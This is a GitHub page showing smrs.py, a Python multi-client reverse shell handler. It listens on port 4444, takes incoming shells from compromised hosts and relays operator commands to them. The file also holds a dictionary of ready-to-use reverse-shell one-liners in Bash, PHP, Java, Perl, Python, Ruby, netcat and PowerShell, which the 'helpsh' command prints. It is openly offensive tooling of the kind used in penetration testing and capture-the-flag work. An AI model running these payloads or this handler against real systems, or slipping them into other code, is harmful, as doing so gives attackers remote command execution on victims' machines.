-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsmrs.py
More file actions
337 lines (297 loc) · 12.5 KB
/
Copy pathsmrs.py
File metadata and controls
337 lines (297 loc) · 12.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
#!/usr/bin/env python3
import socket
import threading
import sys
import select
import queue
import os
import time
from colorama import Fore, init
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
init(autoreset=True)
if os.name == 'nt':
import msvcrt
else:
import tty
import termios
VERSION = "1.1.0"
IP = '127.0.0.1'
HOST = '0.0.0.0'
PORT = 4444
PROMPT = "[>] "
clients = {}
output_queues = {}
client_lock = threading.Lock()
print_lock = threading.Lock()
current_client = None
next_id = 1
current_input = ""
input_ready = False # <-- prevent background threads from drawing prompt before main is ready
SHELLS = {
"Bash": f'/bin/bash -i >& /dev/tcp/{IP}/{PORT} 0>&1',
"PHP": f'php -r \'$sock=fsockopen("{IP}",{PORT});exec("/bin/sh -i <&3 >&3 2>&3");\'',
"Java": f'r=Runtime.getRuntime()\np=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{IP}/{PORT};cat<&5|while read line;do $line 2>&5 >&5;done"] as String[])\np.waitFor()',
"Perl": f'perl -e \'use Socket;$i="{IP}";$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh","-i");}};\'',
"Python": f'python -c \'import socket,subprocess,os;s=socket.socket();s.connect(("{IP}",{PORT}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];p=subprocess.call(["/bin/sh","-i"]);\'',
"Ruby": f'ruby -rsocket -e \'f=TCPSocket.open("{IP}",{PORT}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\'',
"Netcat": f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {IP} {PORT} >/tmp/f',
"PowerShell": f'$sm=(New-Object Net.Sockets.TCPClient("{IP}",{PORT})).GetStream();[byte[]]$b=0..255|%{{0}};while(($i=$sm.Read($b,0,$b.Length)) -ne 0){{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$s=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($s,0,$s.Length)}}'
}
def _redraw_prompt():
"""Redraw prompt only when main input loop is ready to receive input."""
if not input_ready:
return
sys.stdout.write('\r\033[K' + PROMPT + current_input)
sys.stdout.flush()
def safe_print(msg: str):
with print_lock:
sys.stdout.write('\r\033[K' + msg.rstrip() + '\n')
sys.stdout.flush()
# Only background threads should call _redraw_prompt — and only if input is ready
if threading.current_thread() is not threading.main_thread():
_redraw_prompt()
def safe_write(data: str):
if not data:
return
if isinstance(data, bytes):
try:
data = data.decode('utf-8', errors='ignore')
except Exception:
data = str(data)
with print_lock:
sys.stdout.write('\r\033[K' + data)
if not data.endswith('\n'):
sys.stdout.write('\n')
sys.stdout.flush()
if threading.current_thread() is not threading.main_thread():
_redraw_prompt()
def read_line(prompt=PROMPT):
"""Cross-platform raw input with proper newline handling (no staircase)."""
global current_input
sys.stdout.write(prompt)
sys.stdout.flush()
current_input = ""
line = ""
if os.name == 'nt':
while True:
if msvcrt.kbhit():
ch = msvcrt.getch()
if ch in (b'\r', b'\n'):
sys.stdout.write('\r\n')
sys.stdout.flush()
result = line
current_input = ""
return result
elif ch == b'\x08' and line:
line = line[:-1]
current_input = line
sys.stdout.write('\b \b')
sys.stdout.flush()
elif ch == b'\x03':
raise KeyboardInterrupt
elif ch == b'\x1a':
raise EOFError
else:
try:
char = ch.decode('utf-8')
if char.isprintable() or char == '\t':
line += char
current_input = line
sys.stdout.write(char)
sys.stdout.flush()
except UnicodeDecodeError:
pass
else:
fd = sys.stdin.fileno()
old = termios.tcgetattr(fd)
try:
tty.setraw(fd)
while True:
ch = sys.stdin.read(1)
if ch in ('\r', '\n'):
sys.stdout.write('\r\n') # ensures proper cursor reset in raw mode
sys.stdout.flush()
result = line
current_input = ""
return result
elif ch == '\x7f' and line:
line = line[:-1]
current_input = line
sys.stdout.write('\b \b')
sys.stdout.flush()
elif ch == '\x03':
raise KeyboardInterrupt
elif ch == '\x04' and not line:
raise EOFError
else:
line += ch
current_input = line
sys.stdout.write(ch)
sys.stdout.flush()
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old)
return line
def banner():
print(f"""
{Fore.RED} _____ __ __ _____ _____{Fore.RESET} _ _ _ _
{Fore.RED} / ____|| \\/ | | __ \\ / ____|{Fore.RESET} | | | | | | |
{Fore.RED} | (___ | \\ / | | |__) | | (___ {Fore.RESET}| |__| | __ _ _ __ __| | | ___ _ __
{Fore.RED} \\___ \\ | |\\/| | | _ / \\___ \\{Fore.RESET} | __ |/ _` | '_ \\ / _` | |/ _ \\ '__|
{Fore.RED} ____) || | | |_| | \\ \\ _ ____) |{Fore.RESET} | | | | (_| | | | | (_| | | __/ |
{Fore.RED} |_____(_)_| |_(_)_| \\_(_)_____(_){Fore.RESET} |_| |_|\\__,_|_| |_|\\__,_|_|\\___|_|
{Fore.RED}Simple Multi Reverse Shell {Fore.WHITE}Handler{Fore.RESET}
{Fore.GREEN}By MRITARI{Fore.RESET} | Version {Fore.GREEN}{VERSION}
{Fore.BLUE}https://github.com/MRITARI/SMRS-Handler{Fore.RESET}
{Fore.BLUE}[i]{Fore.RESET} Type {Fore.CYAN}'exit'{Fore.RESET} to quit and {Fore.CYAN}'help'{Fore.RESET} for commands.
""")
def handle_client(sock, addr, cid):
global current_client
q = queue.Queue()
with client_lock:
output_queues[cid] = q
safe_print(f"{Fore.GREEN}[+]{Fore.RESET} Client {cid} connected from {addr}")
try:
while True:
ready, _, _ = select.select([sock], [], [], 1.0)
if ready:
data = sock.recv(4096)
if not data:
break
q.put(data.decode('utf-8', errors='ignore'))
except Exception:
pass
finally:
with client_lock:
sock.close()
clients.pop(cid, None)
output_queues.pop(cid, None)
if current_client == cid:
current_client = None
safe_print(f"{Fore.RED}[-]{Fore.RESET} Client {cid} disconnected.")
def output_worker():
while True:
with client_lock:
ids = list(output_queues.keys())
for cid in ids:
q = output_queues.get(cid)
if q:
try:
while not q.empty():
data = q.get_nowait()
if current_client == cid:
safe_write(data)
except Exception:
pass
threading.Event().wait(0.1)
def listener():
global next_id, current_client
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((HOST, PORT))
server.listen(5)
safe_print(f"{Fore.CYAN}[*]{Fore.RESET} Listening on {HOST}:{PORT}")
while True:
try:
sock, addr = server.accept()
sock.setblocking(False)
with client_lock:
cid = next_id
clients[cid] = (sock, addr)
next_id += 1
threading.Thread(target=handle_client, args=(sock, addr, cid), daemon=True).start()
if len(clients) == 1:
current_client = cid
safe_print(f"{Fore.CYAN}[*]{Fore.RESET} Auto-selected client {cid}")
except Exception as e:
safe_print(f"{Fore.YELLOW}[!]{Fore.RESET} Listener error: {e}")
break
def interactive_shell():
global current_client, input_ready
# Start background threads first; they will NOT redraw the prompt until input_ready=True
threading.Thread(target=listener, daemon=True).start()
time.sleep(0.15) # small pause so initial logs are printed in order
threading.Thread(target=output_worker, daemon=True).start()
# Now the main loop is ready to show the prompt and accept input
input_ready = True
while True:
try:
cmd = read_line(PROMPT).strip()
if not cmd:
continue
if cmd == 'list':
with client_lock:
if clients:
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} Active clients:")
for cid, (_, addr) in clients.items():
mark = f"{Fore.GREEN}*{Fore.RESET}" if current_client == cid else " "
safe_print(f" {mark} [{cid}] {addr[0]}:{addr[1]}")
else:
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} No clients connected.")
elif cmd.startswith('use '):
try:
target = int(cmd.split(maxsplit=1)[1])
with client_lock:
if target in clients:
current_client = target
safe_print(f"{Fore.GREEN}[+]{Fore.RESET} Switched to client {target}")
else:
safe_print(f"{Fore.YELLOW}[!]{Fore.RESET} Client not found.")
except ValueError:
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} Usage: use <id>")
elif cmd == 'help':
print(f"""
{Fore.BLUE}[i]{Fore.RESET} Commands:
list Show connected clients
use <id> Switch to a client
helpsh Show reverse shell payloads
clear/cls Clear the screen
exit/quit Quit
""".strip())
elif cmd == 'helpsh':
safe_print(f"{Fore.CYAN}-- Reverse Shell One-Liners --{Fore.RESET}")
for lang, code in SHELLS.items():
lexer_name = {
"Bash": "bash", "PHP": "php", "Java": "java", "Perl": "perl",
"Python": "python", "Ruby": "ruby", "Netcat": "bash",
"PowerShell": "powershell"
}.get(lang, "text")
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} {lang}")
try:
lexer = get_lexer_by_name(lexer_name, stripall=False)
print(highlight(code, lexer, TerminalFormatter()).rstrip())
except Exception:
print(code)
print()
elif cmd in ('clear', 'cls'):
os.system('cls' if os.name == 'nt' else 'clear')
banner()
elif cmd in ('exit', 'quit'):
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} Shutting down...")
with client_lock:
for sock, _ in list(clients.values()):
try:
sock.close()
except Exception:
pass
break
else:
if current_client and current_client in clients:
sock, _ = clients[current_client]
try:
sock.send((cmd + '\n').encode('utf-8'))
except Exception:
safe_print(f"{Fore.YELLOW}[!]{Fore.RESET} Failed to send command.")
else:
safe_print(f"{Fore.YELLOW}[!]{Fore.RESET} No client selected. Use 'use <id>' first.")
except (KeyboardInterrupt, EOFError):
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} Use 'exit' to quit.")
except Exception as e:
safe_print(f"{Fore.RED}[Error]{Fore.RESET} {e}")
if __name__ == "__main__":
banner()
try:
interactive_shell()
except KeyboardInterrupt:
safe_print(f"{Fore.BLUE}[i]{Fore.RESET} Shutting down...")